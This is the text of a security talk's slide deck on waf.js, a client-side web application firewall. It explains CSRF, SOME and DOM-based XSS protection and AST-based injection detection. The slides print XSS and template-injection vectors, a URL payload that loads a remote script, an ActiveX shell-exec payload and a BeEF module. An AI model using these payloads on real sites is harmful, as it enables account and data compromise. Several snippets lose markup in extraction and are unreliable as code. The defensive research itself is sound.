Slide 1

Slide 1 text

Waf.js: How to Protect Web Applications using JavaScript ptsecurity.com Arseny Reutov [email protected] @ru_raz0r Denis Kolegov [email protected] @dnkolegov

Slide 2

Slide 2 text

1. Waf.js Features 2. Development Tools 3. Application Protection Methods 4. Roadmap Agenda ptsecurity.com

Slide 3

Slide 3 text

Features

Slide 4

Slide 4 text

ptsecurity.com Waf.js 4 Waf.js is a PT Application Firewall defense-in-depth mechanism that protects users at DOM level against common client-side attacks The current features • CSRF prevention • DOM-based XSS attacks prevention • Reverse Clickjacking/SOME prevention • Unwanted applications detection

Slide 5

Slide 5 text

Development Tools

Slide 6

Slide 6 text

ptsecurity.com Tools 6 DOMPurify Acorn Esprima / Estools Grunt CasperJS JSCS/ESLint

Slide 7

Slide 7 text

Application Protection Methods

Slide 8

Slide 8 text

CSRF Prevention

Slide 9

Slide 9 text

ptsecurity.com CSRF Prevention 9 Random CSRF token is generated on server per user session Hidden fields with CSRF tokens are appended: • to all static forms of an HTML document • to all dynamically generated forms via MutationObserver No false positives for JSON/XML based REST APIs: • requests are checked only if its Content-Type corresponds to HTML forms that are sent from another domain

Slide 10

Slide 10 text

ptsecurity.com CSRF Prevention 10 X-CSRF-Token header is added to all AJAX requests • XMLHttpRequest "send" method is overridden via window.XMLHttpRequest.Prototype • For old IE versions corresponding "send" methods are overridden for popular frameworks (jQuery, mootools, ExtJS, etc)

Slide 11

Slide 11 text

Reverse Clickjacking Prevention

Slide 12

Slide 12 text

ptsecurity.com Reverse Clickjacking Prevention 12 Reverse Clickjacking/SOME • • User-supplied data is inserted in JavaScript function call context without sufficient validation (typically JSONP endpoints) Cannot be detected on server-side Example https://ex.com/InCallback/#q=urc_button.click Pavel Toporkov. Two tales about Google Vulnerabilities Ben Hayak. Same Origin Method Execution

Slide 13

Slide 13 text

ptsecurity.com Reverse Clickjacking Prevention 13 function sanitize(s) { if (typeof getProperty(window, s) === 'function') { s = ''; } return s; } Basic method Alternate method based on DOMPurify’s approach function sanitize(s) { if (typeof getProperty(window, s) !== 'string') { s = ''; } return s; }

Slide 14

Slide 14 text

Unwanted Application Detection

Slide 15

Slide 15 text

ptsecurity.com Unwanted Applications 15 Types • Bots: PhantomJS-based bots, Selenium • Exploits and frameworks: Beef, Sonar, Xbackdoor • Hacking tools: Burp, Zap, Acunetix, Fiddler, DOMinator Detection Methods • Window properties analysis • Hostnames (Burp, Zap) • Port scanning with tag Alcorn, Frichot, Orru. The Browser Hacker’s Handbook

Slide 16

Slide 16 text

ptsecurity.com Example of PhantomJS Detection 16 function detectPhantom(){ if (window.callPhantom || window._phantom) { console.log('PhantomJS environment detected.'); } console.log('PhantomJS environment not detected.'); } Shape Security. Detecting PhantomJS Based Visitors

Slide 17

Slide 17 text

ptsecurity.com BeEF Detection 17 function detectBeEF(){ if (window.beef || window.beef_init || window.BeefJS) { console.log('BeEF environment detected.'); } else if (window.uagent || window.deviceAndroid) { console.log('BeEF environment in evasion mode detected.'); } else { console.log('BeEF environment not detected.'); } }

Slide 18

Slide 18 text

ptsecurity.com Burp Detection in BeEF 18 beef.execute(function() { load_script = function(url) { var s = document.createElement('script'); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } get_proxy = function() { try { var response = FindProxyForURL('', ''); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'has_burp=true&response=' + response); } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'has_burp=false'); } } load_script('http://burp/proxy.pac'); setTimeout('get_proxy()', 10000); });

Slide 19

Slide 19 text

ptsecurity.com Burp Detection in waf.js 19 function detectBurp(){ var img = new Image(); img.src = 'http://burp/favicon.ico'; img.onload = function() { console.log('Burp environment detected.'); }; }

Slide 20

Slide 20 text

ptsecurity.com Fiddler Detection in waf.js 20 var timeout = 150; function detectFiddler() { if (!allowInsecureDetectors) { return; } if (window.navigator.platform.substring(0,3) === 'Lin') { return; } var t = new Date().getTime(); var img = new Image(); img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer'; img.onerror = function() { if (new Date().getTime() - t < timeout) { console.log('Fiddler environment detected.'); } }; }

Slide 21

Slide 21 text

DOM-based XSS Prevention

Slide 22

Slide 22 text

ptsecurity.com Challenges 22 Implementation should be client-side Cannot use taint-analysis (à la DOMinator) We do not know injection context Many sources, sinks and contexts for malicious JavaScript execution Cannot wait when page is fully loaded We need not only to prevent attacks but also to detect and report them

Slide 23

Slide 23 text

ptsecurity.com Researches 23 Server-Side XSS Attack Detection with ModSecurity and PhantomJS Precise Client-side Protection against DOM-based Cross-Site Scripting Towards Elimination of XSS Attacks with a Trusted and Capability Controlled DOM (Mario Heiderich)

Slide 24

Slide 24 text

ptsecurity.com How to Detect XSS? 24 We should know where to look for it – sources that are controlled by an attacker • location • window.name • storages, etc. We should know XSS features – possibility to change AST in one of the following contexts • HTML/DOM • JavaScript • Attribute • URL

Slide 25

Slide 25 text

ptsecurity.com XSS Contexts 25 Context HTML/DOM JavaScript Attribute URL Vector

Slide 26

Slide 26 text

ptsecurity.com DOM-based XSS Protection Workflow 26 Get the next source Does it contain dangerous HTML? Does it contain something like dangerous JavaScript? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie Yes Yes No No

Slide 27

Slide 27 text

ptsecurity.com XSS Contexts 27 Context HTML/DOM JavaScript Attribute URL Vector

Slide 28

Slide 28 text

ptsecurity.com DOMPurify 28 "DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG" Cure53’s project https://github.com/cure53/DOMPurify Features – Precise (not heuristic) – Library for developers – XSS sanitizer for HTML, MathML and SVG – Hooks mechanism

Slide 30

Slide 30 text

ptsecurity.com What DOMPurify Can Do 30 Prevent DOM Clobbering attacks var dirty = ''; var clean = DOMPurify.sanitize(dirty); clean; // "" var dirty = '123'; var clean = DOMPurify.sanitize(dirty); clean; // "123" var dirty = ''; var clean = DOMPurify.sanitize(dirty); clean; // ""

Slide 31

Slide 31 text

ptsecurity.com What DOMPurify Can Do 31 Prevent dangling markup injection attacks var dirty = '

Slide 32

Slide 32 text

ptsecurity.com DOMPurify Peculiarities 32 Input modification • order of attributes is changed • " can be added if there are no quotes or it can replace' • closing tag can be added DOMPurify does nothing, if input does not contain "<" DOMPurify.sanitize("

Slide 33

Slide 33 text

ptsecurity.com What DOMPurify Cannot Do 33 Prevent injections into JavaScript context http://ex.com/foo.html#a';alert(1);// var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("var foo = '"+ clean +"'"); // dirty = "bar';alert(1);//" // clean = "bar';alert(1);//" var foo = 'a';alert(1);//'<script>

Slide 34

Slide 34 text

ptsecurity.com What DOMPurify Cannot Do 34 Prevent injections into attribute context http://ex.com/foo.html#' onload='alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write(""); // dirty = "' onload='alert(1);" // clean = "' onload='alert(1);" ");

Slide 35

Slide 35 text

ptsecurity.com What DOMPurify Cannot Do 35 Prevent JavaScript injections into URL context http://ex.com/foo.html#javascript:alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("Link"); // dirty = "javascript:alert(1)" // clean = "javascript:alert(1)" Link");

Slide 36

Slide 36 text

ptsecurity.com What DOMPurify Cannot Do 36 Prevent Reverse Clickjacking/SOME attacks http://ex.com/foo.html#delete_button.click var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); var url = '/re?q=' + clean + '&callback=' + clean + ''; var s = document.createElement('script'); s.src = url; document.body.appendChild(s); // dirty = "delete_button.click" // clean = "delete_button.click"

Slide 37

Slide 37 text

ptsecurity.com DOMPurify Adaptation for WAF 37 function sanitize(s) { var clean = ''; var dirty = normalize(s); var purified = DOMPurify.sanitize(dirty); if (!isMatch(dirty, purified)) { return clean; } return s; } ε, dompurify(x) ≢ x x, dompurify(x) ≡ x sanitize(x) = DOMPurify is a sophisticated sanitizer. How can we use its power on WAF?

Slide 38

Slide 38 text

ptsecurity.com DOMPurify Adaptation for WAF 38 isMatch("

Slide 39

Slide 39 text

ptsecurity.com DOM-based XSS Protection Workflow 39 Get the next source isDOMPurified() Does it contain something like dangerous JavaScript? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie True Yes False No

Slide 40

Slide 40 text

ptsecurity.com Approaches to Injection Detection in WAFs 40 Lexical (Regular Expressions) Signature-based lexical • libinjection (Nick Galbreath) Syntactical • Parser generation - libdetection (Wallarm) • Parser adaptation - waf.js (Positive Technologies)

Slide 41

Slide 41 text

ptsecurity.com Our Approach 41 Data is allowed only if its AST does not contain dangerous code Ready-made JavaScript parsers are used This approach is universal and can be used for detection of arbitrary injections It is heuristical

Slide 42

Slide 42 text

ptsecurity.com Example 1 42 http://ex.com/foo.html#11111 var input = location.hash.slice(1); document.write("var foo = "+ input +"; "); var foo = 11111; <script> Program ExpressionStatement Literal

Slide 43

Slide 43 text

ptsecurity.com Example 2 43 http://ex.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("var foo = "+ input +"; "); var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal

Slide 44

Slide 44 text

ptsecurity.com Our Approach 44 Requirements to parser • Written in JavaScript • Works in all modern browsers • High performance Candidates • Acorn • Esprima

Slide 45

Slide 45 text

ptsecurity.com Detection Methods 45 Phases • Context computation or prediction • Parsing and AST building • Dangerous code search • Search recovery Methods • template-based • error-based • reduction-based • error-tolerant

Slide 46

Slide 46 text

ptsecurity.com Context Computation 46 The first issue • AST for alert(1) contains CallExpression node • AST for ";alert(1);" does not contain CallExpression node Template-based var a = "<>"; A heuristic method based on tokens number ";alert(1);" – 1 token ' ";alert(1);" – 1 token "";alert(1);" – 8 tokens parse(var a = "";alert(1);"") parse("";alert(1);")

Slide 47

Slide 47 text

ptsecurity.com AST Building 47

Slide 48

Slide 48 text

ptsecurity.com Dangerous Code Search 48 Dangerous statements are listed in security policy and can be specified by ESTree node names We can use additional logic based on parent or child nodes to minimize false positives For simplicity we'll assume that the security policy is restricted by CallExpression node only

Slide 49

Slide 49 text

ptsecurity.com AST Search 49 What should we do if AST can not be built by parser? ""};alert(1);var f={t:" function sanitize(dirty) { var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree; tree = esprima.parse(dirty); estraverse.traverse(tree, { enter: function(node) { if (node.type === 'CallExpression') { return clean; } } }); return dirty; } Esprima/estraverse

Slide 50

Slide 50 text

ptsecurity.com Search recovery 50 The first method is reduction from the right: ""};alert(1);var f={t:" ""};alert(1); The parsed string is changed using information about parse errors from the previous step When we find a dangerous node in AST we immediately stop parsing

Slide 51

Slide 51 text

ptsecurity.com Search recovery 51 function sanitize(dirty) { var acorn = require('acorn'), detected = false, clean = '', tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(payload, {plugins: {detectCallExpression: true}}); if (detected) { return clean; } return dirty; } Only Acorn parser supports parse-time plugins

Slide 52

Slide 52 text

ptsecurity.com Perfect parser 52 Written in JavaScript Works in all modern browsers High performance Standard-compliant (ECMAScript, ESTree) Modular - allows to change parse logic Returns error information Error-tolerant

Slide 53

Slide 53 text

ptsecurity.com Detection Methods 53 Phases • Context computation or prediction • Parsing and AST building • Dangerous code search • Search recovery Methods • template-based • error-based • reduction-based • error-tolerant

Slide 54

Slide 54 text

ptsecurity.com Template-based Method 54 templates = { var a = <>; var a = ' <> '; var a = {aa: "<>", bb: "bb"} } input = "};alert(1);var f={t:" 1

Slide 55

Slide 55 text

ptsecurity.com Template-based Method 55 contexts = { var a = "};alert(1);var f={t:"; var a = ' "};alert(1);var f={t:" '; var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"} } 2

Slide 56

Slide 56 text

ptsecurity.com Template-based Method 56 parse(var a = "};alert(1);var f={t:" ;) parse(var a = ' "};alert(1);var f={t:" ';) parse(var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"}) 3

Slide 57

Slide 57 text

ptsecurity.com Error-based Method 57 input = "};alert(1);var f={t:" 1

Slide 58

Slide 58 text

ptsecurity.com Error-based Method 58 input = "};alert(1);var f={t:" normalized = ""};alert(1);var f={t:" 2

Slide 59

Slide 59 text

ptsecurity.com Error-based Method 59 input = "};alert(1);var f={t:" normalized = ""};alert(1);var f={t:" parse(""};alert(1);var f={t:") 3

Slide 60

Slide 60 text

ptsecurity.com Error-based Method 60 parse (""};alert(1);var f={t:") 4 Unexpected token (1:2)

Slide 61

Slide 61 text

ptsecurity.com Error-based Method 61 parse (;alert(1);var f={t:") 5 Unterminated string constant (1:19)

Slide 62

Slide 62 text

ptsecurity.com Error-based Method 62 parse (;alert(1);var f={t:) 6 Unexpected token (1:19)

Slide 63

Slide 63 text

ptsecurity.com Error-based Method 63 parse (;alert(1);var f={t) 7 Unexpected token (1:18)

Slide 64

Slide 64 text

ptsecurity.com Error-based Method 64 parse (;alert(1);var f={) 8 Unexpected token (1:17)

Slide 65

Slide 65 text

ptsecurity.com Error-based Method 65 parse (;alert(1);var f=) 9 Unexpected token (1:16)

Slide 66

Slide 66 text

ptsecurity.com Error-based Method 66 parse (;alert(1);var f) 10 Parse tree

Slide 67

Slide 67 text

ptsecurity.com Left Reduction Method 67 Input: string S, context CTX Output: is S an injection in CTX context? 1. Tokenize S in CTX context. Save all tokens in tokens array 2. Parse S and build AST 3. If this AST contains specified forbidden nodes, then S is an injection 4. Otherwise delete from S the next token 5. If S is not an empty string, go to the step 2

Slide 68

Slide 68 text

ptsecurity.com Left Reduction Method 68 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " 1

Slide 69

Slide 69 text

ptsecurity.com Left Reduction Method 69 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} 2

Slide 70

Slide 70 text

ptsecurity.com Left Reduction Method 70 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ""});alert(1);var f =({t:" parse(ctx): Unexpected token (1:2) 3

Slide 71

Slide 71 text

ptsecurity.com Left Reduction Method 71 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = });alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 4

Slide 72

Slide 72 text

ptsecurity.com Left Reduction Method 72 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = );alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 5

Slide 73

Slide 73 text

ptsecurity.com Left Reduction Method 73 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ;alert(1);var f =({t:" parse(ctx): Program 6

Slide 74

Slide 74 text

ptsecurity.com Left Reduction Method 74 7 Program EmptyStatement ExpressionStatement alert CallExpression … arguments 1 nodes = {CallExpression} ctx = ;alert(1);var f =({t:"

Slide 75

Slide 75 text

ptsecurity.com Example of Implementation 75 function sanitize(s){ var clean = ''; var ctxs = ['', '"', '\''], ctx, tokens, curToken, detected = false; for (var i = 0, len = ctxs.length; i < len; i++) { ctx = ctxs[i] + s; tokens = getTokens(ctx); curToken = 0; while(ctx.length > 0 && !isInjection) { try { acorn.parse(ctx, plugins: {detectCallExpression: true}}); } catch(e){} if (detected) return clean; ctx = ctx.substring(tokens[curToken].length); curToken +=1; } } return s; }; }

Slide 76

Slide 76 text

ptsecurity.com Detected Vectors 76 javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.sr c%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body. appendChild%28s%29%7D%29%28document.createElement%28%27sc ript%27%29%29 OSX Message XSS Client-side Template Injection with AngularJS Cure53 H5SC Mini Challenge 4 [alert(1)] %22})));alert(1)}catch(e){}// {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Slide 77

Slide 77 text

ptsecurity.com Detected Vectors 77 http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz

Slide 78

Slide 78 text

ptsecurity.com Error tolerance 78 )},{0:prompt(1 Prompt.ml Challenge Hidden Level 4 function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return ''; } return ''; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…" This type of XSS can be found only if parser is error-tolerant

Slide 79

Slide 79 text

ptsecurity.com Error tolerance 79 nodes = {CallExpression} s = )},{0:prompt(1 Program ExpressionStatement SequenceExpression … ObjectExpression Identifier CallExpression name: x

Slide 80

Slide 80 text

ptsecurity.com DOM-based XSS Protection Workflow 80 Get the next source isDOMPurified() isJSParsed? Deny Allow location.pathname location.search location.hash window.name localStorage … document.cookie True True False False

Slide 81

Slide 81 text

ptsecurity.com False Positive Minimization 81 Extended configuration features • Source types • Contexts for sources and parameters • Forbidden ESTree nodes Additional rules in Acorn modules Predefined profiles for customer’s applications Heavy testing

Slide 82

Slide 82 text

Roadmap

Slide 83

Slide 83 text

ptsecurity.com Roadmap 83 waf.js community edition Client-side request signing CSRF token randomization per request Protection against reverse tabnabbing Protection against phishing attacks Self-XSS warnings

Slide 84

Slide 84 text

Thank you! Waf.js ptsecurity.com Arseny Reutov [email protected] @ru_raz0r Denis Kolegov [email protected] @dnkolegov